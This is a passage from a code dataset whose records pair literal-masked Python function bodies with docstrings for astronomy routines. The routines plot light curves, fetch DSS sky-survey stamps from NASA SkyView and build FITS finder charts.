(<EOL>axind,<EOL>axind+<NUM_LIT:1>,<EOL>btimeorigin + tgtimes.min(),<EOL>btimeorigin + tgtimes.max())<EOL>)<EOL>ax.errorbar(tgtimes, tgmags, fmt='<STR_LIT>', yerr=tgerrs,<EOL>markersize=<NUM_LIT>, markeredgewidth=<NUM_LIT:0.0>, ecolor='<STR_LIT>',<EOL>capsize=<NUM_LIT:0>)<EOL>ax.get_xaxis().get_major_formatter().set_useOffset(False)<EOL>if axind == <NUM_LIT:0>:<EOL><INDENT>ax.get_yaxis().get_major_formatter().set_useOffset(False)<EOL>ax.spines['<STR_LIT:right>'].set_visible(False)<EOL>ax.yaxis.tick_left()<EOL><DEDENT>elif <NUM_LIT:0> < axind < (len(axes)-<NUM_LIT:1>):<EOL><INDENT>ax.spines['<STR_LIT:right>'].set_visible(False)<EOL>ax.spines['<STR_LIT:left>'].set_visible(False)<EOL>ax.tick_params(right='<STR_LIT>', labelright='<STR_LIT>',<EOL>left='<STR_LIT>',labelleft='<STR_LIT>')<EOL><DEDENT>elif axind == (len(axes)-<NUM_LIT:1>):<EOL><INDENT>ax.spines['<STR_LIT:left>'].set_visible(False)<EOL>ax.spines['<STR_LIT:right>'].set_visible(True)<EOL>ax.yaxis.tick_right()<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>ax.set_ylim(ymax, ymin)<EOL><DEDENT>else:<EOL><INDENT>ax.set_ylim(ymin, ymax)<EOL><DEDENT>tgrange = tgtimes.max() - tgtimes.min()<EOL>if tgrange < <NUM_LIT>:<EOL><INDENT>ticklocations = [tgrange/<NUM_LIT>]<EOL>ax.set_xlim(npmin(tgtimes) - <NUM_LIT:0.5>, npmax(tgtimes) + <NUM_LIT:0.5>)<EOL><DEDENT>elif <NUM_LIT> < tgrange < <NUM_LIT>:<EOL><INDENT>ticklocations = np.linspace(tgtimes.min()+<NUM_LIT>,<EOL>tgtimes.max()-<NUM_LIT>,<EOL>num=<NUM_LIT:2>)<EOL>ax.set_xlim(npmin(tgtimes) - <NUM_LIT>, npmax(tgtimes) + <NUM_LIT>)<EOL><DEDENT>elif <NUM_LIT> < tgrange < <NUM_LIT>:<EOL><INDENT>ticklocations = np.linspace(tgtimes.min()+<NUM_LIT>,<EOL>tgtimes.max()-<NUM_LIT>,<EOL>num=<NUM_LIT:3>)<EOL>ax.set_xlim(npmin(tgtimes) - <NUM_LIT>, npmax(tgtimes) + <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>ticklocations = np.linspace(tgtimes.min()+<NUM_LIT>,<EOL>tgtimes.max()-<NUM_LIT>,<EOL>num=<NUM_LIT:3>)<EOL>ax.set_xlim(npmin(tgtimes) - <NUM_LIT>, npmax(tgtimes) + <NUM_LIT>)<EOL><DEDENT>ax.xaxis.set_ticks([int(x) for x in ticklocations])<EOL><DEDENT>plt.subplots_adjust(wspace=<NUM_LIT>)<EOL>fig.text(<NUM_LIT:0.5>, <NUM_LIT>, '<STR_LIT>' %<EOL>(btimeorigin, segmentmingap), ha='<STR_LIT>')<EOL>if not magsarefluxes:<EOL><INDENT>fig.text(<NUM_LIT>, <NUM_LIT:0.5>, '<STR_LIT>', va='<STR_LIT>', rotation='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>fig.text(<NUM_LIT>, <NUM_LIT:0.5>, '<STR_LIT>', va='<STR_LIT>', rotation='<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fig = plt.figure()<EOL>fig.set_size_inches(<NUM_LIT>,<NUM_LIT>)<EOL>plt.errorbar(btimes, bmags, fmt='<STR_LIT>', yerr=berrs,<EOL>markersize=<NUM_LIT>, markeredgewidth=<NUM_LIT:0.0>, ecolor='<STR_LIT>',<EOL>capsize=<NUM_LIT:0>)<EOL>plt.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>plt.gca().get_yaxis().get_major_formatter().set_useOffset(False)<EOL>plt.gca().get_xaxis().get_major_formatter().set_useOffset(False)<EOL>plt.xlabel('<STR_LIT>' % btimeorigin)<EOL>if not magsarefluxes:<EOL><INDENT>plt.ylim(ymax, ymin)<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylim(ymin, ymax)<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT><DEDENT>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:0>):<EOL><INDENT>is_Strio = isinstance(out, cStringIO.InputType)<EOL><DEDENT>else:<EOL><INDENT>is_Strio = isinstance(out, Strio)<EOL><DEDENT>if out and not is_Strio:<EOL><INDENT>if out.endswith('<STR_LIT>'):<EOL><INDENT>plt.savefig(out,bbox_inches='<STR_LIT>',dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>plt.savefig(out,bbox_inches='<STR_LIT>')<EOL><DEDENT>plt.close()<EOL>return os.path.abspath(out)<EOL><DEDENT>elif out and is_Strio:<EOL><INDENT>plt.savefig(out, bbox_inches='<STR_LIT>', dpi=plotdpi, format='<STR_LIT>')<EOL>return out<EOL><DEDENT>elif not out and dispok:<EOL><INDENT>plt.show()<EOL>plt.close()<EOL>return<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>outfile = '<STR_LIT>'<EOL>plt.savefig(outfile,bbox_inches='<STR_LIT>',dpi=plotdpi)<EOL>plt.close()<EOL>return os.path.abspath(outfile)<EOL><DEDENT>", "docstring": "This plots a magnitude/flux time-series.\n\n    Parameters\n    ----------\n\n    times,mags : np.array\n        The mag/flux time-series to plot as a function of time.\n\n    magsarefluxes : bool\n        Indicates if the input `mags` array is actually an array of flux\n        measurements instead of magnitude measurements. If this is set to True,\n        then the plot y-axis will be set as appropriate for mag or fluxes. In\n        addition:\n\n        - if `normto` is 'zero', then the median flux is divided from each\n          observation's flux value to yield normalized fluxes with 1.0 as the\n          global median.\n        - if `normto` is 'globalmedian', then the global median flux value\n          across the entire time series is multiplied with each measurement.\n        - if `norm` is set to a `float`, then this number is multiplied with the\n          flux value for each measurement.\n\n    errs : np.array or None\n        If this is provided, contains the measurement errors associated with\n        each measurement of flux/mag in time-series. Providing this kwarg will\n        add errbars to the output plot.\n\n    out : str or StringIO/BytesIO object or None\n        Sets the output type and target:\n\n        - If `out` is a string, will save the plot to the specified file name.\n        - If `out` is a StringIO/BytesIO object, will save the plot to that file\n          handle. This can be useful to carry out additional operations on the\n          output binary stream, or convert it to base64 text for embedding in\n          HTML pages.\n        - If `out` is None, will save the plot to a file called\n          'magseries-plot.png' in the current working directory.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    normto : {'globalmedian', 'zero'} or a float\n        Sets the normalization target::\n\n          'globalmedian' -> norms each mag to the global median of the LC column\n          'zero'         -> norms each mag to zero\n          a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    timebin : float or None\n        The bin size to use to group together measurements closer than this\n        amount in time. This is in seconds. If this is None, no time-binning\n        will be performed.\n\n    yrange : list of two floats or None\n        This is used to provide a custom y-axis range to the plot. If None, will\n        automatically determine y-axis range.\n\n    segmentmingap : float or None\n        This controls the minimum length of time (in days) required to consider\n        a timegroup in the light curve as a separate segment. This is useful\n        when the light curve consists of measurements taken over several\n        seasons, so there's lots of dead space in the plot that can be cut out\n        to zoom in on the interesting stuff. If `segmentmingap` is not None, the\n        magseries plot will be cut in this way and the x-axis will show these\n        breaks.\n\n    plotdpi : int\n        Sets the resolution in DPI for PNG plots (default = 100).\n\n    Returns\n    -------\n\n    str or BytesIO/StringIO object\n        Returns based on the input:\n\n        - If `out` is a str or None, the path to the generated plot file is\n          returned.\n        - If `out` is a StringIO/BytesIO object, will return the\n          StringIO/BytesIO object to which the plot was written.", "id": "f14695:m0"}
{"signature": "def plot_phased_magseries(times,<EOL>mags,<EOL>period,<EOL>epoch='<STR_LIT>',<EOL>fitknotfrac=<NUM_LIT>,<EOL>errs=None,<EOL>magsarefluxes=False,<EOL>normto='<STR_LIT>',<EOL>normmingap=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>phasewrap=True,<EOL>phasesort=True,<EOL>phasebin=None,<EOL>plotphaselim=(-<NUM_LIT>,<NUM_LIT>),<EOL>yrange=None,<EOL>xtimenotphase=False,<EOL>xaxlabel='<STR_LIT>',<EOL>yaxlabel=None,<EOL>modelmags=None,<EOL>modeltimes=None,<EOL>modelerrs=None,<EOL>outfile=None,<EOL>plotdpi=<NUM_LIT:100>):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if normto is not False:<EOL><INDENT>stimes, smags = normalize_magseries(stimes, smags,<EOL>normto=normto,<EOL>magsarefluxes=magsarefluxes,<EOL>mingap=normmingap)<EOL>if ( isinstance(modelmags, np.ndarray) and<EOL>isinstance(modeltimes, np.ndarray) ):<EOL><INDENT>stimes, smags = normalize_magseries(modeltimes, modelmags,<EOL>normto=normto,<EOL>magsarefluxes=magsarefluxes,<EOL>mingap=normmingap)<EOL><DEDENT><DEDENT>if epoch is None:<EOL><INDENT>epoch = stimes.min()<EOL><DEDENT>elif isinstance(epoch, str) and epoch == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>spfit = spline_fit_magseries(stimes, smags, serrs, period,<EOL>knotfraction=fitknotfrac)<EOL>epoch = spfit['<STR_LIT>']['<STR_LIT>']<EOL>if len(epoch) != <NUM_LIT:1>:<EOL><INDENT>epoch = epoch[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>epoch = npmin(stimes)<EOL><DEDENT><DEDENT>if errs is not None:<EOL><INDENT>phasedlc = phase_magseries_with_errs(stimes, smags, serrs, period,<EOL>epoch, wrap=phasewrap,<EOL>sort=phasesort)<EOL>plotphase = phasedlc['<STR_LIT>']<EOL>plotmags = phasedlc['<STR_LIT>']<EOL>ploterrs = phasedlc['<STR_LIT>']<EOL>if phasebin:<EOL><INDENT>binphasedlc = phase_bin_magseries_with_errs(plotphase, plotmags,<EOL>ploterrs,<EOL>binsize=phasebin)<EOL>binplotphase = binphasedlc['<STR_LIT>']<EOL>binplotmags = binphasedlc['<STR_LIT>']<EOL>binploterrs = binphasedlc['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>phasedlc = phase_magseries(stimes, smags, period, epoch,<EOL>wrap=phasewrap, sort=phasesort)<EOL>plotphase = phasedlc['<STR_LIT>']<EOL>plotmags = phasedlc['<STR_LIT>']<EOL>ploterrs = None<EOL>if phasebin:<EOL><INDENT>binphasedlc = phase_bin_magseries(plotphase,<EOL>plotmags,<EOL>binsize=phasebin)<EOL>binplotphase = binphasedlc['<STR_LIT>']<EOL>binplotmags = binphasedlc['<STR_LIT>']<EOL>binploterrs = None<EOL><DEDENT><DEDENT>modelplotphase, modelplotmags = None, None<EOL>if ( isinstance(modelerrs,np.ndarray) and<EOL>isinstance(modeltimes,np.ndarray) and<EOL>isinstance(modelmags,np.ndarray) ):<EOL><INDENT>modelphasedlc = phase_magseries_with_errs(modeltimes, modelmags,<EOL>modelerrs, period, epoch,<EOL>wrap=phasewrap,<EOL>sort=phasesort)<EOL>modelplotphase = modelphasedlc['<STR_LIT>']<EOL>modelplotmags = modelphasedlc['<STR_LIT>']<EOL><DEDENT>elif ( not isinstance(modelerrs,np.ndarray) and<EOL>isinstance(modeltimes,np.ndarray) and<EOL>isinstance(modelmags,np.ndarray) ):<EOL><INDENT>modelphasedlc = phase_magseries(modeltimes, modelmags, period, epoch,<EOL>wrap=phasewrap, sort=phasesort)<EOL>modelplotphase = modelphasedlc['<STR_LIT>']<EOL>modelplotmags = modelphasedlc['<STR_LIT>']<EOL><DEDENT>if isinstance(outfile, matplotlib.axes.Axes):<EOL><INDENT>ax = outfile<EOL><DEDENT>else:<EOL><INDENT>fig = plt.figure()<EOL>fig.set_size_inches(<NUM_LIT>,<NUM_LIT>)<EOL>ax = plt.gca()<EOL><DEDENT>if xtimenotphase:<EOL><INDENT>plotphase *= period<EOL><DEDENT>if phasebin:<EOL><INDENT>ax.errorbar(plotphase, plotmags, fmt='<STR_LIT:o>',<EOL>color='<STR_LIT>',<EOL>yerr=ploterrs,<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0.0>,<EOL>ecolor='<STR_LIT>',<EOL>capsize=<NUM_LIT:0>)<EOL>if xtimenotphase:<EOL><INDENT>binplotphase *= period<EOL><DEDENT>ax.errorbar(binplotphase, binplotmags, fmt='<STR_LIT>', yerr=binploterrs,<EOL>markersize=<NUM_LIT>, markeredgewidth=<NUM_LIT:0.0>, ecolor='<STR_LIT>',<EOL>capsize=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>ax.errorbar(plotphase, plotmags, fmt='<STR_LIT>', yerr=ploterrs,<EOL>markersize=<NUM_LIT>, markeredgewidth=<NUM_LIT:0.0>, ecolor='<STR_LIT>',<EOL>capsize=<NUM_LIT:0>)<EOL><DEDENT>if (isinstance(modelplotphase, np.ndarray) and<EOL>isinstance(modelplotmags, np.ndarray)):<EOL><INDENT>if xtimenotphase:<EOL><INDENT>modelplotphase *= period<EOL><DEDENT>ax.plot(modelplotphase, modelplotmags, zorder=<NUM_LIT:5>, linewidth=<NUM_LIT:2>,<EOL>alpha=<NUM_LIT>, color='<STR_LIT>')<EOL><DEDENT>ax.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>ax.axvline(<NUM_LIT:0.0>,alpha=<NUM_LIT>,linestyle='<STR_LIT>',color='<STR_LIT:g>')<EOL>if not xtimenotphase:<EOL><INDENT>ax.axvline(-<NUM_LIT:0.5>,alpha=<NUM_LIT>,linestyle='<STR_LIT>',color='<STR_LIT:g>')<EOL>ax.axvline(<NUM_LIT:0.5>,alpha=<NUM_LIT>,linestyle='<STR_LIT>',color='<STR_LIT:g>')<EOL><DEDENT>else:<EOL><INDENT>ax.axvline(-period*<NUM_LIT:0.5>,alpha=<NUM_LIT>,linestyle='<STR_LIT>',color='<STR_LIT:g>')<EOL>ax.axvline(period*<NUM_LIT:0.5>,alpha=<NUM_LIT>,linestyle='<STR_LIT>',color='<STR_LIT:g>')<EOL><DEDENT>ax.get_yaxis().get_major_formatter().set_useOffset(False)<EOL>ax.get_xaxis().get_major_formatter().set_useOffset(False)<EOL>if yrange and isinstance(yrange,(list,tuple)) and len(yrange) == <NUM_LIT:2>:<EOL><INDENT>ymin, ymax = yrange<EOL><DEDENT>else:<EOL><INDENT>ymin, ymax = ax.get_ylim()<EOL><DEDENT>if not yaxlabel:<EOL><INDENT>if not magsarefluxes:<EOL><INDENT>ax.set_ylim(ymax, ymin)<EOL>yaxlabel = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>ax.set_ylim(ymin, ymax)<EOL>yaxlabel = '<STR_LIT>'<EOL><DEDENT><DEDENT>if not plotphaselim:<EOL><INDENT>ax.set_xlim((npmin(plotphase)-<NUM_LIT:0.1>,<EOL>npmax(plotphase)+<NUM_LIT:0.1>))<EOL><DEDENT>else:<EOL><INDENT>if xtimenotphase:<EOL><INDENT>ax.set_xlim((period*plotphaselim[<NUM_LIT:0>],period*plotphaselim[<NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>ax.set_xlim((plotphaselim[<NUM_LIT:0>],plotphaselim[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>ax.set_xlabel(xaxlabel)<EOL>ax.set_ylabel(yaxlabel)<EOL>ax.set_title('<STR_LIT>' % (period, epoch))<EOL>LOGINFO('<STR_LIT>' % (period, epoch))<EOL>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:0>):<EOL><INDENT>is_Strio = isinstance(outfile, cStringIO.InputType)<EOL><DEDENT>else:<EOL><INDENT>is_Strio = isinstance(outfile, Strio)<EOL><DEDENT>if (outfile and<EOL>not is_Strio and<EOL>not isinstance(outfile, matplotlib.axes.Axes)):<EOL><INDENT>if outfile.endswith('<STR_LIT>'):<EOL><INDENT>fig.savefig(outfile, bbox_inches='<STR_LIT>', dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>fig.savefig(outfile, bbox_inches='<STR_LIT>')<EOL><DEDENT>plt.close()<EOL>return period, epoch, os.path.abspath(outfile)<EOL><DEDENT>elif outfile and is_Strio:<EOL><INDENT>fig.savefig(outfile, bbox_inches='<STR_LIT>', dpi=plotdpi, format='<STR_LIT>')<EOL>return outfile<EOL><DEDENT>elif outfile and isinstance(outfile, matplotlib.axes.Axes):<EOL><INDENT>return outfile<EOL><DEDENT>elif not outfile and dispok:<EOL><INDENT>plt.show()<EOL>plt.close()<EOL>return period, epoch<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>outfile = '<STR_LIT>'<EOL>plt.savefig(outfile, bbox_inches='<STR_LIT>', dpi=plotdpi)<EOL>plt.close()<EOL>return period, epoch, os.path.abspath(outfile)<EOL><DEDENT>", "docstring": "Plots a phased magnitude/flux time-series using the period provided.\n\n    Parameters\n    ----------\n\n    times,mags : np.array\n        The mag/flux time-series to plot as a function of phase given `period`.\n\n    period : float\n        The period to use to phase-fold the time-series. Should be the same unit\n        as `times` (usually in days)\n\n    epoch : 'min' or float or None\n        This indicates how to get the epoch to use for phasing the light curve:\n\n        - If None, uses the `min(times)` as the epoch for phasing.\n\n        - If epoch is the string 'min', then fits a cubic spline to the phased\n          light curve using `min(times)` as the initial epoch, finds the\n          magnitude/flux minimum of this phased light curve fit, and finally\n          uses the that time value as the epoch. This is useful for plotting\n          planetary transits and eclipsing binary phased light curves so that\n          phase 0.0 corresponds to the mid-center time of primary eclipse (or\n          transit).\n\n        - If epoch is a float, then uses that directly to phase the light\n          curve and as the epoch of the phased mag series plot.\n\n    fitknotfrac : float\n        If `epoch='min'`, this function will attempt to fit a cubic spline to\n        the phased light curve to find a time of light minimum as phase\n        0.0. This kwarg sets the number of knots to generate the spline as a\n        fraction of the total number of measurements in the input\n        time-series. By default, this is set so that 100 knots are used to\n        generate a spline for fitting the phased light curve consisting of 10000\n        measurements.\n\n    errs : np.array or None\n        If this is provided, contains the measurement errors associated with\n        each measurement of flux/mag in time-series. Providing this kwarg will\n        add errbars to the output plot.\n\n    magsarefluxes : bool\n        Indicates if the input `mags` array is actually an array of flux\n        measurements instead of magnitude measurements. If this is set to True,\n        then the plot y-axis will be set as appropriate for mag or fluxes.\n\n    normto : {'globalmedian', 'zero'} or a float\n        Sets the normalization target::\n\n          'globalmedian' -> norms each mag to the global median of the LC column\n          'zero'         -> norms each mag to zero\n          a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around phase\n        0.0.\n\n    phasesort : bool\n        If this is True, the phased time-series will be sorted in phase.\n\n    phasebin : float or None\n        If this is provided, indicates the bin size to use to group together\n        measurements closer than this amount in phase. This is in units of\n        phase. The binned phased light curve will be overplotted on top of the\n        phased light curve. Useful for when one has many measurement points and\n        needs to pick out a small trend in an otherwise noisy phased light\n        curve.\n\n    plotphaselim : sequence of two floats or None\n        The x-axis limits to use when making the phased light curve plot. By\n        default, this is (-0.8, 0.8), which places phase 0.0 at the center of\n        the plot and covers approximately two cycles in phase to make any trends\n        clear.\n\n    yrange : list of two floats or None\n        This is used to provide a custom y-axis range to the plot. If None, will\n        automatically determine y-axis range.\n\n    xtimenotphase : bool\n        If True, the x-axis gets units of time (multiplies phase by period).\n\n    xaxlabel : str\n        Sets the label for the x-axis.\n\n    yaxlabel : str or None\n        Sets the label for the y-axis. If this is None, the appropriate label\n        will be used based on the value of the `magsarefluxes` kwarg.\n\n    modeltimes,modelmags,modelerrs : np.array or None\n        If all of these are provided, then this function will overplot the\n        values of modeltimes and modelmags on top of the actual phased light\n        curve. This is useful for plotting variability models on top of the\n        light curve (e.g. plotting a Mandel-Agol transit model over the actual\n        phased light curve. These arrays will be phased using the already\n        provided period and epoch.\n\n    outfile : str or StringIO/BytesIO or matplotlib.axes.Axes or None\n        - a string filename for the file where the plot will be written.\n        - a StringIO/BytesIO object to where the plot will be written.\n        - a matplotlib.axes.Axes object to where the plot will be written.\n        - if None, plots to 'magseries-phased-plot.png' in current dir.\n\n    plotdpi : int\n        Sets the resolution in DPI for PNG plots (default = 100).\n\n    Returns\n    -------\n\n    str or StringIO/BytesIO or matplotlib.axes.Axes\n        This returns based on the input:\n\n        - If `outfile` is a str or None, the path to the generated plot file is\n          returned.\n        - If `outfile` is a StringIO/BytesIO object, will return the\n          StringIO/BytesIO object to which the plot was written.\n        - If `outfile` is a matplotlib.axes.Axes object, will return the Axes\n          object with the plot elements added to it. One can then directly\n          include this Axes object in some other Figure.", "id": "f14695:m1"}
{"signature": "def skyview_stamp(ra, decl,<EOL>survey='<STR_LIT>',<EOL>scaling='<STR_LIT>',<EOL>flip=True,<EOL>convolvewith=None,<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>timeout=<NUM_LIT>,<EOL>retry_failed=False,<EOL>savewcsheader=True,<EOL>verbose=False):", "body": "stampdict = get_stamp(ra, decl,<EOL>survey=survey,<EOL>scaling=scaling,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>timeout=timeout,<EOL>retry_failed=retry_failed,<EOL>verbose=verbose)<EOL>if stampdict:<EOL><INDENT>stampfits = pyfits.open(stampdict['<STR_LIT>'])<EOL>header = stampfits[<NUM_LIT:0>].header<EOL>frame = stampfits[<NUM_LIT:0>].data<EOL>stampfits.close()<EOL>if flip:<EOL><INDENT>frame = np.flipud(frame)<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>% (ra, decl))<EOL><DEDENT>if convolvewith:<EOL><INDENT>convolved = aconv.convolve(frame, convolvewith)<EOL>if savewcsheader:<EOL><INDENT>return convolved, header<EOL><DEDENT>else:<EOL><INDENT>return convolved<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if savewcsheader:<EOL><INDENT>return frame, header<EOL><DEDENT>else:<EOL><INDENT>return frame<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (ra, decl, survey, scaling))<EOL>return None<EOL><DEDENT>", "docstring": "This downloads a DSS FITS stamp centered on the coordinates specified.\n\n    This wraps the function :py:func:`astrobase.services.skyview.get_stamp`,\n    which downloads Digitized Sky Survey stamps in FITS format from the NASA\n    SkyView service:\n\n    https://skyview.gsfc.nasa.gov/current/cgi/query.pl\n\n    Also adds some useful operations on top of the FITS file returned.\n\n    Parameters\n    ----------\n\n    ra,decl : float\n        The center coordinates for the stamp in decimal degrees.\n\n    survey : str\n        The survey name to get the stamp from. This is one of the\n        values in the 'SkyView Surveys' option boxes on the SkyView\n        webpage. Currently, we've only tested using 'DSS2 Red' as the value for\n        this kwarg, but the other ones should work in principle.\n\n    scaling : str\n        This is the pixel value scaling function to use.\n\n    flip : bool\n        Will flip the downloaded image top to bottom. This should usually be\n        True because matplotlib and FITS have different image coord origin\n        conventions. Alternatively, set this to False and use the\n        `origin='lower'` in any call to `matplotlib.pyplot.imshow` when plotting\n        this image.\n\n    convolvewith : astropy.convolution Kernel object or None\n        If `convolvewith` is an astropy.convolution Kernel object from:\n\n        http://docs.astropy.org/en/stable/convolution/kernels.html\n\n        then, this function will return the stamp convolved with that\n        kernel. This can be useful to see effects of wide-field telescopes (like\n        the HATNet and HATSouth lenses) degrading the nominal 1 arcsec/px of\n        DSS, causing blending of targets and any variability.\n\n    forcefetch : bool\n        If True, will disregard any existing cached copies of the stamp already\n        downloaded corresponding to the requested center coordinates and\n        redownload the FITS from the SkyView service.\n\n    cachedir : str\n        This is the path to the astrobase cache directory. All downloaded FITS\n        stamps are stored here as .fits.gz files so we can immediately respond\n        with the cached copy when a request is made for a coordinate center\n        that's already been downloaded.\n\n    timeout : float\n        Sets the timeout in seconds to wait for a response from the NASA SkyView\n        service.\n\n    retry_failed : bool\n        If the initial request to SkyView fails, and this is True, will retry\n        until it succeeds.\n\n    savewcsheader : bool\n        If this is True, also returns the WCS header of the downloaded FITS\n        stamp in addition to the FITS image itself. Useful for projecting object\n        coordinates onto image xy coordinates for visualization.\n\n    verbose : bool\n        If True, indicates progress.\n\n    Returns\n    -------\n\n    tuple or array or None\n        This returns based on the value of `savewcsheader`:\n\n        - If `savewcsheader=True`, returns a tuple:\n          (FITS stamp image as a numpy array, FITS header)\n        - If `savewcsheader=False`, returns only the FITS stamp image as numpy\n          array.\n        - If the stamp retrieval fails, returns None.", "id": "f14695:m2"}
{"signature": "def fits_finder_chart(<EOL>fitsfile,<EOL>outfile,<EOL>fitsext=<NUM_LIT:0>,<EOL>wcsfrom=None,<EOL>scale=ZScaleInterval(),<EOL>stretch=LinearStretch(),<EOL>colormap=plt.cm.gray_r,<EOL>findersize=None,<EOL>finder_coordlimits=None,<EOL>overlay_ra=None,<EOL>overlay_decl=None,<EOL>overlay_pltopts={'<STR_LIT>':'<STR_LIT:o>',<EOL>'<STR_LIT>':<NUM_LIT>,<EOL>'<STR_LIT>':'<STR_LIT:none>',<EOL>'<STR_LIT>':<NUM_LIT>,<EOL>'<STR_LIT>':'<STR_LIT>'},<EOL>overlay_zoomcontain=False,<EOL>grid=False,<EOL>gridcolor='<STR_LIT:k>'<EOL>):", "body": "<EOL>if wcsfrom is None:<EOL><INDENT>hdulist = pyfits.open(fitsfile)<EOL>img, hdr = hdulist[fitsext].data, hdulist[fitsext].header<EOL>hdulist.close()<EOL>frameshape = (hdr['<STR_LIT>'], hdr['<STR_LIT>'])<EOL>w = WCS(hdr)<EOL><DEDENT>elif os.path.exists(wcsfrom):<EOL><INDENT>hdulist = pyfits.open(fitsfile)<EOL>img, hdr = hdulist[fitsext].data, hdulist[fitsext].header<EOL>hdulist.close()<EOL>frameshape = (hdr['<STR_LIT>'], hdr['<STR_LIT>'])<EOL>w = WCS(wcsfrom)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>fitsfile)<EOL>return None<EOL><DEDENT>if findersize is None:<EOL><INDENT>fig = plt.figure(figsize=(frameshape[<NUM_LIT:0>]/<NUM_LIT>,<EOL>frameshape[<NUM_LIT:1>]/<NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>fig = plt.figure(figsize=findersize)<EOL><DEDENT>if (overlay_zoomcontain and<EOL>overlay_ra is not None and<EOL>overlay_decl is not None):<EOL><INDENT>finder_coordlimits = [overlay_ra.min()-<NUM_LIT>/<NUM_LIT>,<EOL>overlay_ra.max()+<NUM_LIT>/<NUM_LIT>,<EOL>overlay_decl.min()-<NUM_LIT>/<NUM_LIT>,<EOL>overlay_decl.max()+<NUM_LIT>/<NUM_LIT>]<EOL><DEDENT>if finder_coordlimits and isinstance(finder_coordlimits, (list,tuple)):<EOL><INDENT>minra, maxra, mindecl, maxdecl = finder_coordlimits<EOL>cntra, cntdecl = (minra + maxra)/<NUM_LIT>, (mindecl + maxdecl)/<NUM_LIT><EOL>pixelcoords = w.all_world2pix([[minra, mindecl],<EOL>[maxra, maxdecl],<EOL>[cntra, cntdecl]],<NUM_LIT:1>)<EOL>x1, y1, x2, y2 = (int(pixelcoords[<NUM_LIT:0>,<NUM_LIT:0>]),<EOL>int(pixelcoords[<NUM_LIT:0>,<NUM_LIT:1>]),<EOL>int(pixelcoords[<NUM_LIT:1>,<NUM_LIT:0>]),<EOL>int(pixelcoords[<NUM_LIT:1>,<NUM_LIT:1>]))<EOL>xmin = x1 if x1 < x2 else x2<EOL>xmax = x2 if x2 > x1 else x1<EOL>ymin = y1 if y1 < y2 else 